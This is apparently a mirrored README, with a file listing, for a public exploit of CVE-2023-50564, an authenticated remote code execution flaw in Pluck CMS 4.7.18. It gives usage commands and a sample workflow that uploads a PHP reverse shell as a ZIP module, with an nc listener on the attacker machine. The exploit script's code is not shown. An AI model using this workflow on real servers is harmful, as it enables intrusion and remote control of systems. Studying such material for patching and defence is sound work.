来源

关联漏洞

描述

Pluck v4.7.18 - Remote Code Execution (RCE)

介绍

# CVE-2023-50564

## 📌 Description

This exploit allows an authenticated admin in **Pluck CMS v4.7.18** to upload a malicious ZIP module containing a PHP shell, resulting in remote code execution (RCE).


---

## ⚙️ Features

- Authenticates to the target using a valid username and password
- Automatically creates a ZIP archive from a provided PHP file
- Uploads the module to the vulnerable `installmodule` endpoint
- Triggers the payload and displays the output
- Supports custom target, port, credentials, and shell path

---

## 🚀 Usage

```bash
git clone https://github.com/glynzr/CVE-2023-50564.git
cd CVE-2023-50564
pip3 install -r requirements.txt

python3 exploit.py -h
```


```bash
python3 exploit.py -t <target> -u <username> -pass <password> -path <path_to_php_shell> [-p <port>]
```

- The port is optional and defaults to 80 if not specified.
- When specifying the target, the IP address or domain name is required (e.g., 127.0.0.1 or test.domain).


## Sample exploit

First, reverse shell listener should be started on attacker machine(this tab on the terminal should not be terminated):
```bash
nc -nvlp <specify port>
```

Then, download php reverse shell from https://github.com/pentestmonkey/php-reverse-shell and customize it according to attacker machine. (IP,port)

Run the exploit code on another tab:
```bash
python3 exploit.py -t test.com -u admin -pass samplepassword -path ../php-reverse-shell.php
```

文件快照

 [4.0K]  /data/pocs/8b28f0b847c70337d2e26a5fc4d426007760233d
├── [2.7K]  exploit.py
├── [1.0K]  LICENSE
├── [1.4K]  README.md
└── [  26]  requirements.txt

0 directories, 4 files

备注